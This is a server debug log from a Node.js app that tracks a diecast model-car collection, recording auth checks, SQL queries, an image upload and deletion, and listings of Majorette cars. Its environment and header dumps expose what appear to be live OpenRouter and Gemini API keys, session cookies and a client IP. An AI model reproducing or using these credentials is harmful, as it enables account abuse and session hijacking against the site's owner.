2026-02-04T10:43:26.568Z server-connect:output identity: 1
2026-02-04T10:43:26.568Z server-connect:app Executing action step restrict
2026-02-04T10:43:26.568Z server-connect:app options: {
  provider: 'security',
  permissions: [ 'Active' ],
  loginUrl: '/login',
  forbiddenUrl: '/login'
}
2026-02-04T10:43:26.568Z server-connect:output restrict: undefined
2026-02-04T10:43:26.568Z server-connect:app Executing action step restrict
2026-02-04T10:43:26.568Z server-connect:app options: {
  provider: 'security',
  permissions: [ 'Active' ],
  loginUrl: '/login',
  forbiddenUrl: '/login'
}
2026-02-04T10:43:26.568Z server-connect:output restrict: undefined
2026-02-04T10:43:26.568Z server-connect:router Render template layouts/main
2026-02-04T10:43:26.569Z server-connect:router Template data: {
  '$value': undefined,
  '$_ERROR': null,
  '$_ENV': {
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    CL_VIRTUAL_ENV: '/home/tocyxovu/nodevenv/ems/22',
    LSNODE_STARTUP_FILE: 'index.js',
    BKP_NODE_PATH: '',
    CL_APP_ROOT: 'ems',
    NODE_PATH: '/home/tocyxovu/nodevenv/ems/22/lib/node_modules:/opt/alt/alt-nodejs22/root/lib/node_modules:/opt/alt/alt-nodejs22/root/lib64/node_modules:',
    LSNODE_SOCKET: '/usr/local/lsws/extapp-sock/APVH_ems.sanjaychaurasia.xyz:443:_.sock',
    LSAPI_PPID_NO_CHECK: '1',
    LSAPI_PGRP_MAX_IDLE: '300',
    NODE_ENV: 'development',
    LSNODE_ROOT: '/home/tocyxovu/ems/',
    OPENROUTER_API_KEY: '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',
    BKP_PATH: '/usr/local/bin:/bin:/usr/bin',
    PWD: '/home/tocyxovu/nodevenv/ems/22/bin',
    HOME: '/home/tocyxovu',
    CL_NODEHOME: '/opt/alt/alt-nodejs22/root',
    GEMINI_API_KEY: 'AIzaSyA4zE36yqNwbeRyxb3UsKcEB5XrUybrhs8',
    SHLVL: '0',
    BKP_PS1: '',
    PATH: '/home/tocyxovu/nodevenv/ems/22/bin:/opt/alt/alt-nodejs22/root/usr/bin:/home/tocyxovu/nodevenv/ems/22/lib/bin/:/usr/local/bin:/bin:/usr/bin',
    PS1: '[ems (22)] ',
    DEBUG: 'server-connect:*'
  },
  '$_GET': {},
  '$_POST': {},
  '$_PARAM': {},
  '$_HEADER': {
    host: 'ems.sanjaychaurasia.xyz',
    'sec-ch-ua-platform': '"Windows"',
    'user-agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/144.0.0.0 Safari/537.36',
    'sec-ch-ua': '"Not(A:Brand";v="8", "Chromium";v="144", "Google Chrome";v="144"',
    'sec-ch-ua-mobile': '?0',
    accept: 'image/avif,image/webp,image/apng,image/svg+xml,image/*,*/*;q=0.8',
    'sec-fetch-site': 'same-origin',
    'sec-fetch-mode': 'no-cors',
    'sec-fetch-dest': 'image',
    referer: 'https://ems.sanjaychaurasia.xyz/diecast?brand=&search=&series=193&manufacturer=&condition=',
    'accept-encoding': 'gzip,br',
    'accept-language': 'en-US,en;q=0.9,hi;q=0.8,fr;q=0.7',
    'if-none-match': 'W/"fe33-tAb7P11KNREw/2nA7q8CXtYVJ/w"',
    priority: 'i',
    cookie: 'security.auth=s%3ADT4R1TlYVFHZ%2Bq06pmmLXQ%3D%3D.xibd1SDgYJ79rjeLIQPaqR7nNtCU20TyadO6RMOhO1%2BALVHPRqt5RN%2Fwl7ND5jon3PmKFZuXJ6mJWUCXn3MEbr0uTfS9%2BgKc7Dcq5ovSpItZw2EJtGJk47ZjO1Y5f0cGAUoKMSaNsuDpqvIB76nqr6L1WpoYGfbUxAB1Ff2GjEY%3D.jgWtyrdx%2Bau3l5i6EVnVq7VmkwtF%2BdM8uqwSHYZBCsA; your_r_git.sid=s%3A6HBQpkVWO3yWNQ5-SJBEVemMYkbIuOEZ.USD2GvJAyEkoT3yqH8e%2BXmSN%2B1BAjGLtX8MyA8QDyB4',
    'x-forwarded-for': '49.43.181.210',
    connection: 'keep-alive',
    'x-forwarded-host': 'ems.sanjaychaurasia.xyz',
    'x-forwarded-proto': 'https'
  },
  '$_COOKIE': {},
  '$_SESSION': Session {
    cookie: {
      path: '/',
      _expires: 2026-02-04T12:03:01.310Z,
      originalMaxAge: 86400000,
      httpOnly: true
    },
    securityId: 1
  },
  '$_SERVER': {
    CONTENT_TYPE: undefined,
    HTTPS: true,
    PATH_INFO: '/',
    QUERY_STRING: undefined,
    REMOTE_ADDR: '49.43.181.210',
    REQUEST_PROTOCOL: 'https',
    REQUEST_METHOD: 'GET',
    SERVER_NAME: 'ems.sanjaychaurasia.xyz',
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    URL: '/',
    HOSTNAME: 's6519.dnspark.in',
    HTTP_HOST: 'ems.sanjaychaurasia.xyz',
    'HTTP_SEC_CH-UA-PLATFORM': '"Windows"',
    HTTP_USER_AGENT: 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/144.0.0.0 Safari/537.36',
    'HTTP_SEC_CH-UA': '"Not(A:Brand";v="8", "Chromium";v="144", "Google Chrome";v="144"',
    'HTTP_SEC_CH-UA-MOBILE': '?0',
    HTTP_ACCEPT: 'image/avif,image/webp,image/apng,image/svg+xml,image/*,*/*;q=0.8',
    'HTTP_SEC_FETCH-SITE': 'same-origin',
    'HTTP_SEC_FETCH-MODE': 'no-cors',
    'HTTP_SEC_FETCH-DEST': 'image',
    HTTP_REFERER: 'https://ems.sanjaychaurasia.xyz/diecast?brand=&search=&series=193&manufacturer=&condition=',
    HTTP_ACCEPT_ENCODING: 'gzip,br',
    HTTP_ACCEPT_LANGUAGE: 'en-US,en;q=0.9,hi;q=0.8,fr;q=0.7',
    'HTTP_IF_NONE-MATCH': 'W/"fe33-tAb7P11KNREw/2nA7q8CXtYVJ/w"',
    HTTP_PRIORITY: 'i',
    HTTP_COOKIE: 'security.auth=s%3ADT4R1TlYVFHZ%2Bq06pmmLXQ%3D%3D.xibd1SDgYJ79rjeLIQPaqR7nNtCU20TyadO6RMOhO1%2BALVHPRqt5RN%2Fwl7ND5jon3PmKFZuXJ6mJWUCXn3MEbr0uTfS9%2BgKc7Dcq5ovSpItZw2EJtGJk47ZjO1Y5f0cGAUoKMSaNsuDpqvIB76nqr6L1WpoYGfbUxAB1Ff2GjEY%3D.jgWtyrdx%2Bau3l5i6EVnVq7VmkwtF%2BdM8uqwSHYZBCsA; your_r_git.sid=s%3A6HBQpkVWO3yWNQ5-SJBEVemMYkbIuOEZ.USD2GvJAyEkoT3yqH8e%2BXmSN%2B1BAjGLtX8MyA8QDyB4',
    'HTTP_X_FORWARDED-FOR': '49.43.181.210',
    HTTP_CONNECTION: 'keep-alive',
    'HTTP_X_FORWARDED-HOST': 'ems.sanjaychaurasia.xyz',
    'HTTP_X_FORWARDED-PROTO': 'https'
  },
  identity: 1,
  content: '/index'
}
2026-02-04T10:43:31.715Z server-connect:router Serving serverConnect /api/diecast/manage
2026-02-04T10:43:31.716Z server-connect:app Executing action step identify
2026-02-04T10:43:31.716Z server-connect:app options: { provider: 'security' }
2026-02-04T10:43:31.716Z server-connect:output identity: 1
2026-02-04T10:43:31.716Z server-connect:app Executing action step restrict
2026-02-04T10:43:31.716Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2026-02-04T10:43:31.717Z server-connect:output restrict: undefined
2026-02-04T10:43:31.717Z server-connect:app Executing action step condition
2026-02-04T10:43:31.717Z server-connect:app options: {
  if: '{{$_POST.diecast_id}}',
  then: { steps: [ [Object], [Object], [Object], [Object] ] },
  else: { steps: [ [Object], [Object] ] }
}
2026-02-04T10:43:31.717Z server-connect:app Executing action step update
2026-02-04T10:43:31.717Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'update',
    values: [
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object]
    ],
    table: 'diecast_cars',
    wheres: {
      condition: 'AND',
      rules: [Array],
      conditional: null,
      valid: true
    },
    returning: 'id',
    query: 'update `diecast_cars` set `brand_id` = ?, `series` = ?, `model_name` = ?, `release_year` = ?, `scale` = ?, `purchase_date` = ?, `price` = ?, `case` = ?, `vehicle_brand_id` = ?, `condition` = ? where `id` = ?',
    params: [
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object]
    ]
  }
}
2026-02-04T10:43:31.718Z server-connect:output update: { affected: 1 }
2026-02-04T10:43:31.718Z server-connect:app Executing action step upload
2026-02-04T10:43:31.718Z server-connect:app options: {
  path: '/public/assets/images/diecast',
  replaceSpace: true,
  template: '{name}_{guid}{ext}',
  fields: '{{$_POST.images}}'
}
2026-02-04T10:43:31.718Z server-connect:upload Process fields: [ 'images[]' ]
2026-02-04T10:43:31.718Z server-connect:upload Process fields: 'images[]'
2026-02-04T10:43:31.718Z server-connect:upload Processing file: {
  name: 's-l1600 (12).webp',
  data: <Buffer >,
  size: 115418,
  encoding: '7bit',
  tempFilePath: '/home/tocyxovu/ems/tmp/tmp-46-20378841770201811714',
  truncated: false,
  mimetype: 'image/webp',
  md5: '9be73d15e187f6c50c08e3da09f6adf9',
  mv: [Function: mv]
}
2026-02-04T10:43:31.718Z server-connect:path toAppPath: {
  root: '/home/tocyxovu/ems',
  path: '/home/tocyxovu/ems/public/assets/images/diecast/s-l1600_12_51dcb4ac-7a6c-480b-b1da-ddc2425888ce.webp',
  rel: 'public/assets/images/diecast/s-l1600_12_51dcb4ac-7a6c-480b-b1da-ddc2425888ce.webp'
}
2026-02-04T10:43:31.719Z server-connect:path toSiteUrl: {
  root: '/home/tocyxovu/ems/public',
  path: '/home/tocyxovu/ems/public/assets/images/diecast/s-l1600_12_51dcb4ac-7a6c-480b-b1da-ddc2425888ce.webp',
  rel: 'assets/images/diecast/s-l1600_12_51dcb4ac-7a6c-480b-b1da-ddc2425888ce.webp'
}
2026-02-04T10:43:31.719Z server-connect:output upload_image: [
  {
    name: 's-l1600_12_51dcb4ac-7a6c-480b-b1da-ddc2425888ce.webp',
    path: '/public/assets/images/diecast/s-l1600_12_51dcb4ac-7a6c-480b-b1da-ddc2425888ce.webp',
    url: '/assets/images/diecast/s-l1600_12_51dcb4ac-7a6c-480b-b1da-ddc2425888ce.webp',
    type: 'image/webp',
    size: 115418
  }
]
2026-02-04T10:43:31.719Z server-connect:app Executing action step repeat
2026-02-04T10:43:31.719Z server-connect:app options: {
  repeat: '{{upload_image}}',
  outputFields: [],
  exec: {
    steps: {
      name: 'images',
      module: 'dbupdater',
      action: 'insert',
      options: [Object],
      meta: [Array],
      collapsed: true
    }
  }
}
2026-02-04T10:43:31.719Z server-connect:app Executing action step insert
2026-02-04T10:43:31.719Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'insert',
    values: [ [Object], [Object] ],
    table: 'diecast_images',
    returning: 'id',
    query: 'insert into `diecast_images` (`diecast_id`, `image_url`) values (?, ?)',
    params: [ [Object], [Object] ]
  }
}
2026-02-04T10:43:31.719Z server-connect:output images: { affected: 1, identity: 197 }
2026-02-04T10:43:31.719Z server-connect:output repeat_images: [ {} ]
2026-02-04T10:43:31.719Z server-connect:output condition: undefined
2026-02-04T10:43:31.947Z server-connect:router Serving serverConnect /api/diecast/list
2026-02-04T10:43:31.948Z server-connect:app Executing action step identify
2026-02-04T10:43:31.948Z server-connect:app options: { provider: 'security' }
2026-02-04T10:43:31.948Z server-connect:output identity: 1
2026-02-04T10:43:31.948Z server-connect:app Executing action step restrict
2026-02-04T10:43:31.948Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2026-02-04T10:43:31.948Z server-connect:output restrict: undefined
2026-02-04T10:43:31.948Z server-connect:app Executing action step paged
2026-02-04T10:43:31.948Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'SELECT',
    columns: [
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object]
    ],
    params: [
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object]
    ],
    table: { name: 'diecast_cars' },
    primary: 'id',
    joins: [ [Object], [Object], [Object] ],
    sub: { diecast_images: [Object] },
    query: 'select `diecast_cars`.`id`, `diecast_cars`.`model_name`, `diecast_cars`.`release_year`, `diecast_cars`.`scale`, `diecast_cars`.`has_real_car`, `diecast_cars`.`purchase_date`, `diecast_cars`.`price`, `c1`.`name` as `brand`, `c2`.`name` as `series`, `diecast_cars`.`brand_id`, `diecast_cars`.`series` as `series_id`, `diecast_cars`.`case`, `c3`.`name` as `vehicle_brand_name`, `diecast_cars`.`vehicle_brand_id`, `diecast_cars`.`condition` from `diecast_cars` left join `collections` as `c1` on `c1`.`id` = `diecast_cars`.`brand_id` left join `collections` as `c2` on `c2`.`id` = `diecast_cars`.`series` left join `collections` as `c3` on `c3`.`id` = `diecast_cars`.`vehicle_brand_id` where (`diecast_cars`.`model_name` like ? or `diecast_cars`.`release_year` = ? or `c1`.`name` like ? or `c2`.`name` like ?) and (`diecast_cars`.`brand_id` = ?) and (`diecast_cars`.`series` = ?) and (`diecast_cars`.`vehicle_brand_id` = ?) and (`diecast_cars`.`condition` = ?) order by `diecast_cars`.`id` DESC',
    wheres: {
      condition: 'AND',
      rules: [Array],
      conditional: null,
      valid: true
    },
    orders: [ [Object] ]
  }
}
2026-02-04T10:43:31.950Z server-connect:output list: {
  offset: 0,
  limit: 25,
  total: 5,
  page: {
    offset: { first: 0, prev: 0, next: 0, last: 0 },
    current: 1,
    total: 1
  },
  data: [
    {
      id: 165,
      model_name: 'GMC Hummer EV',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-14T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Black Edition Gift Set',
      brand_id: 72,
      series_id: 193,
      case: '',
      vehicle_brand_name: 'GMC',
      vehicle_brand_id: 140,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 164,
      model_name: 'Land Rover Defender 90',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-14T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Black Edition Gift Set',
      brand_id: 72,
      series_id: 193,
      case: '',
      vehicle_brand_name: 'Land Rover',
      vehicle_brand_id: 117,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 163,
      model_name: 'Toyota GR Supra',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-14T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Black Edition Gift Set',
      brand_id: 72,
      series_id: 193,
      case: '',
      vehicle_brand_name: 'Toyota',
      vehicle_brand_id: 119,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 162,
      model_name: 'Lamborghini Sián FKP 37',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-14T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Black Edition Gift Set',
      brand_id: 72,
      series_id: 193,
      case: '',
      vehicle_brand_name: 'Lamborghini',
      vehicle_brand_id: 115,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 161,
      model_name: 'Bugatti Chiron Pur Sport',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-14T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Black Edition Gift Set',
      brand_id: 72,
      series_id: 193,
      case: '',
      vehicle_brand_name: 'Bugatti',
      vehicle_brand_id: 129,
      condition: 'Uncarded',
      diecast_images: [Array]
    }
  ]
}
2026-02-04T10:43:38.810Z server-connect:router Serving serverConnect /api/diecast/delete-image
2026-02-04T10:43:38.810Z server-connect:app Executing action step identify
2026-02-04T10:43:38.810Z server-connect:app options: { provider: 'security' }
2026-02-04T10:43:38.810Z server-connect:output identity: 1
2026-02-04T10:43:38.810Z server-connect:app Executing action step restrict
2026-02-04T10:43:38.810Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2026-02-04T10:43:38.811Z server-connect:output restrict: undefined
2026-02-04T10:43:38.811Z server-connect:app Executing action step single
2026-02-04T10:43:38.811Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'SELECT',
    columns: [ [Object] ],
    params: [ [Object] ],
    table: { name: 'diecast_images' },
    primary: 'id',
    joins: [],
    wheres: {
      condition: 'AND',
      rules: [Array],
      conditional: null,
      valid: true
    },
    query: 'select `image_url` from `diecast_images` where `diecast_images`.`id` = ?'
  }
}
2026-02-04T10:43:38.811Z server-connect:output diecast_image: {
  image_url: '/public/assets/images/diecast/20260201_002029_b002f2fe-7ab4-48c8-ba94-10e1a9fd0781.jpg'
}
2026-02-04T10:43:38.811Z server-connect:app Executing action step delete
2026-02-04T10:43:38.811Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'delete',
    table: 'diecast_images',
    wheres: {
      condition: 'AND',
      rules: [Array],
      conditional: null,
      valid: true
    },
    returning: 'id',
    query: 'delete from `diecast_images` where `id` = ? and `diecast_id` = ?',
    params: [ [Object], [Object] ]
  }
}
2026-02-04T10:43:38.818Z server-connect:output delete: { affected: 1 }
2026-02-04T10:43:38.818Z server-connect:app Executing action step remove
2026-02-04T10:43:38.818Z server-connect:app options: { path: '{{diecast_image.image_url}}' }
2026-02-04T10:43:38.819Z server-connect:output fileRemove: true
2026-02-04T10:43:39.047Z server-connect:router Serving serverConnect /api/diecast/list
2026-02-04T10:43:39.048Z server-connect:app Executing action step identify
2026-02-04T10:43:39.048Z server-connect:app options: { provider: 'security' }
2026-02-04T10:43:39.048Z server-connect:output identity: 1
2026-02-04T10:43:39.048Z server-connect:app Executing action step restrict
2026-02-04T10:43:39.048Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2026-02-04T10:43:39.049Z server-connect:output restrict: undefined
2026-02-04T10:43:39.049Z server-connect:app Executing action step paged
2026-02-04T10:43:39.049Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'SELECT',
    columns: [
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object]
    ],
    params: [
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object]
    ],
    table: { name: 'diecast_cars' },
    primary: 'id',
    joins: [ [Object], [Object], [Object] ],
    sub: { diecast_images: [Object] },
    query: 'select `diecast_cars`.`id`, `diecast_cars`.`model_name`, `diecast_cars`.`release_year`, `diecast_cars`.`scale`, `diecast_cars`.`has_real_car`, `diecast_cars`.`purchase_date`, `diecast_cars`.`price`, `c1`.`name` as `brand`, `c2`.`name` as `series`, `diecast_cars`.`brand_id`, `diecast_cars`.`series` as `series_id`, `diecast_cars`.`case`, `c3`.`name` as `vehicle_brand_name`, `diecast_cars`.`vehicle_brand_id`, `diecast_cars`.`condition` from `diecast_cars` left join `collections` as `c1` on `c1`.`id` = `diecast_cars`.`brand_id` left join `collections` as `c2` on `c2`.`id` = `diecast_cars`.`series` left join `collections` as `c3` on `c3`.`id` = `diecast_cars`.`vehicle_brand_id` where (`diecast_cars`.`model_name` like ? or `diecast_cars`.`release_year` = ? or `c1`.`name` like ? or `c2`.`name` like ?) and (`diecast_cars`.`brand_id` = ?) and (`diecast_cars`.`series` = ?) and (`diecast_cars`.`vehicle_brand_id` = ?) and (`diecast_cars`.`condition` = ?) order by `diecast_cars`.`id` DESC',
    wheres: {
      condition: 'AND',
      rules: [Array],
      conditional: null,
      valid: true
    },
    orders: [ [Object] ]
  }
}
2026-02-04T10:43:39.050Z server-connect:output list: {
  offset: 0,
  limit: 25,
  total: 5,
  page: {
    offset: { first: 0, prev: 0, next: 0, last: 0 },
    current: 1,
    total: 1
  },
  data: [
    {
      id: 165,
      model_name: 'GMC Hummer EV',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-14T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Black Edition Gift Set',
      brand_id: 72,
      series_id: 193,
      case: '',
      vehicle_brand_name: 'GMC',
      vehicle_brand_id: 140,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 164,
      model_name: 'Land Rover Defender 90',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-14T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Black Edition Gift Set',
      brand_id: 72,
      series_id: 193,
      case: '',
      vehicle_brand_name: 'Land Rover',
      vehicle_brand_id: 117,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 163,
      model_name: 'Toyota GR Supra',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-14T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Black Edition Gift Set',
      brand_id: 72,
      series_id: 193,
      case: '',
      vehicle_brand_name: 'Toyota',
      vehicle_brand_id: 119,
      condition: 'Uncarded',
      diecast_images: []
    },
    {
      id: 162,
      model_name: 'Lamborghini Sián FKP 37',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-14T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Black Edition Gift Set',
      brand_id: 72,
      series_id: 193,
      case: '',
      vehicle_brand_name: 'Lamborghini',
      vehicle_brand_id: 115,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 161,
      model_name: 'Bugatti Chiron Pur Sport',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-14T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Black Edition Gift Set',
      brand_id: 72,
      series_id: 193,
      case: '',
      vehicle_brand_name: 'Bugatti',
      vehicle_brand_id: 129,
      condition: 'Uncarded',
      diecast_images: [Array]
    }
  ]
}
2026-02-04T10:43:39.279Z server-connect:router Serving templateView /
2026-02-04T10:43:39.279Z server-connect:app Executing action step identify
2026-02-04T10:43:39.279Z server-connect:app options: { provider: 'security' }
2026-02-04T10:43:39.279Z server-connect:output identity: 1
2026-02-04T10:43:39.279Z server-connect:app Executing action step restrict
2026-02-04T10:43:39.279Z server-connect:app options: {
  provider: 'security',
  permissions: [ 'Active' ],
  loginUrl: '/login',
  forbiddenUrl: '/login'
}
2026-02-04T10:43:39.280Z server-connect:output restrict: undefined
2026-02-04T10:43:39.280Z server-connect:app Executing action step restrict
2026-02-04T10:43:39.280Z server-connect:app options: {
  provider: 'security',
  permissions: [ 'Active' ],
  loginUrl: '/login',
  forbiddenUrl: '/login'
}
2026-02-04T10:43:39.280Z server-connect:output restrict: undefined
2026-02-04T10:43:39.280Z server-connect:router Render template layouts/main
2026-02-04T10:43:39.281Z server-connect:router Template data: {
  '$value': undefined,
  '$_ERROR': null,
  '$_ENV': {
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    CL_VIRTUAL_ENV: '/home/tocyxovu/nodevenv/ems/22',
    LSNODE_STARTUP_FILE: 'index.js',
    BKP_NODE_PATH: '',
    CL_APP_ROOT: 'ems',
    NODE_PATH: '/home/tocyxovu/nodevenv/ems/22/lib/node_modules:/opt/alt/alt-nodejs22/root/lib/node_modules:/opt/alt/alt-nodejs22/root/lib64/node_modules:',
    LSNODE_SOCKET: '/usr/local/lsws/extapp-sock/APVH_ems.sanjaychaurasia.xyz:443:_.sock',
    LSAPI_PPID_NO_CHECK: '1',
    LSAPI_PGRP_MAX_IDLE: '300',
    NODE_ENV: 'development',
    LSNODE_ROOT: '/home/tocyxovu/ems/',
    OPENROUTER_API_KEY: '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',
    BKP_PATH: '/usr/local/bin:/bin:/usr/bin',
    PWD: '/home/tocyxovu/nodevenv/ems/22/bin',
    HOME: '/home/tocyxovu',
    CL_NODEHOME: '/opt/alt/alt-nodejs22/root',
    GEMINI_API_KEY: 'AIzaSyA4zE36yqNwbeRyxb3UsKcEB5XrUybrhs8',
    SHLVL: '0',
    BKP_PS1: '',
    PATH: '/home/tocyxovu/nodevenv/ems/22/bin:/opt/alt/alt-nodejs22/root/usr/bin:/home/tocyxovu/nodevenv/ems/22/lib/bin/:/usr/local/bin:/bin:/usr/bin',
    PS1: '[ems (22)] ',
    DEBUG: 'server-connect:*'
  },
  '$_GET': {},
  '$_POST': {},
  '$_PARAM': {},
  '$_HEADER': {
    host: 'ems.sanjaychaurasia.xyz',
    'sec-ch-ua-platform': '"Windows"',
    'user-agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/144.0.0.0 Safari/537.36',
    'sec-ch-ua': '"Not(A:Brand";v="8", "Chromium";v="144", "Google Chrome";v="144"',
    'sec-ch-ua-mobile': '?0',
    accept: 'image/avif,image/webp,image/apng,image/svg+xml,image/*,*/*;q=0.8',
    'sec-fetch-site': 'same-origin',
    'sec-fetch-mode': 'no-cors',
    'sec-fetch-dest': 'image',
    referer: 'https://ems.sanjaychaurasia.xyz/diecast?brand=&search=&series=193&manufacturer=&condition=',
    'accept-encoding': 'gzip,br',
    'accept-language': 'en-US,en;q=0.9,hi;q=0.8,fr;q=0.7',
    'if-none-match': 'W/"fe33-tAb7P11KNREw/2nA7q8CXtYVJ/w"',
    priority: 'i',
    cookie: 'security.auth=s%3ADT4R1TlYVFHZ%2Bq06pmmLXQ%3D%3D.xibd1SDgYJ79rjeLIQPaqR7nNtCU20TyadO6RMOhO1%2BALVHPRqt5RN%2Fwl7ND5jon3PmKFZuXJ6mJWUCXn3MEbr0uTfS9%2BgKc7Dcq5ovSpItZw2EJtGJk47ZjO1Y5f0cGAUoKMSaNsuDpqvIB76nqr6L1WpoYGfbUxAB1Ff2GjEY%3D.jgWtyrdx%2Bau3l5i6EVnVq7VmkwtF%2BdM8uqwSHYZBCsA; your_r_git.sid=s%3A6HBQpkVWO3yWNQ5-SJBEVemMYkbIuOEZ.USD2GvJAyEkoT3yqH8e%2BXmSN%2B1BAjGLtX8MyA8QDyB4',
    'x-forwarded-for': '49.43.181.210',
    connection: 'keep-alive',
    'x-forwarded-host': 'ems.sanjaychaurasia.xyz',
    'x-forwarded-proto': 'https'
  },
  '$_COOKIE': {},
  '$_SESSION': Session {
    cookie: {
      path: '/',
      _expires: 2026-02-04T12:03:01.310Z,
      originalMaxAge: 86400000,
      httpOnly: true
    },
    securityId: 1
  },
  '$_SERVER': {
    CONTENT_TYPE: undefined,
    HTTPS: true,
    PATH_INFO: '/',
    QUERY_STRING: undefined,
    REMOTE_ADDR: '49.43.181.210',
    REQUEST_PROTOCOL: 'https',
    REQUEST_METHOD: 'GET',
    SERVER_NAME: 'ems.sanjaychaurasia.xyz',
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    URL: '/',
    HOSTNAME: 's6519.dnspark.in',
    HTTP_HOST: 'ems.sanjaychaurasia.xyz',
    'HTTP_SEC_CH-UA-PLATFORM': '"Windows"',
    HTTP_USER_AGENT: 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/144.0.0.0 Safari/537.36',
    'HTTP_SEC_CH-UA': '"Not(A:Brand";v="8", "Chromium";v="144", "Google Chrome";v="144"',
    'HTTP_SEC_CH-UA-MOBILE': '?0',
    HTTP_ACCEPT: 'image/avif,image/webp,image/apng,image/svg+xml,image/*,*/*;q=0.8',
    'HTTP_SEC_FETCH-SITE': 'same-origin',
    'HTTP_SEC_FETCH-MODE': 'no-cors',
    'HTTP_SEC_FETCH-DEST': 'image',
    HTTP_REFERER: 'https://ems.sanjaychaurasia.xyz/diecast?brand=&search=&series=193&manufacturer=&condition=',
    HTTP_ACCEPT_ENCODING: 'gzip,br',
    HTTP_ACCEPT_LANGUAGE: 'en-US,en;q=0.9,hi;q=0.8,fr;q=0.7',
    'HTTP_IF_NONE-MATCH': 'W/"fe33-tAb7P11KNREw/2nA7q8CXtYVJ/w"',
    HTTP_PRIORITY: 'i',
    HTTP_COOKIE: 'security.auth=s%3ADT4R1TlYVFHZ%2Bq06pmmLXQ%3D%3D.xibd1SDgYJ79rjeLIQPaqR7nNtCU20TyadO6RMOhO1%2BALVHPRqt5RN%2Fwl7ND5jon3PmKFZuXJ6mJWUCXn3MEbr0uTfS9%2BgKc7Dcq5ovSpItZw2EJtGJk47ZjO1Y5f0cGAUoKMSaNsuDpqvIB76nqr6L1WpoYGfbUxAB1Ff2GjEY%3D.jgWtyrdx%2Bau3l5i6EVnVq7VmkwtF%2BdM8uqwSHYZBCsA; your_r_git.sid=s%3A6HBQpkVWO3yWNQ5-SJBEVemMYkbIuOEZ.USD2GvJAyEkoT3yqH8e%2BXmSN%2B1BAjGLtX8MyA8QDyB4',
    'HTTP_X_FORWARDED-FOR': '49.43.181.210',
    HTTP_CONNECTION: 'keep-alive',
    'HTTP_X_FORWARDED-HOST': 'ems.sanjaychaurasia.xyz',
    'HTTP_X_FORWARDED-PROTO': 'https'
  },
  identity: 1,
  content: '/index'
}
2026-02-04T10:43:40.050Z server-connect:router Serving serverConnect /api/diecast/manage
2026-02-04T10:43:40.050Z server-connect:app Executing action step identify
2026-02-04T10:43:40.050Z server-connect:app options: { provider: 'security' }
2026-02-04T10:43:40.050Z server-connect:output identity: 1
2026-02-04T10:43:40.050Z server-connect:app Executing action step restrict
2026-02-04T10:43:40.050Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2026-02-04T10:43:40.050Z server-connect:output restrict: undefined
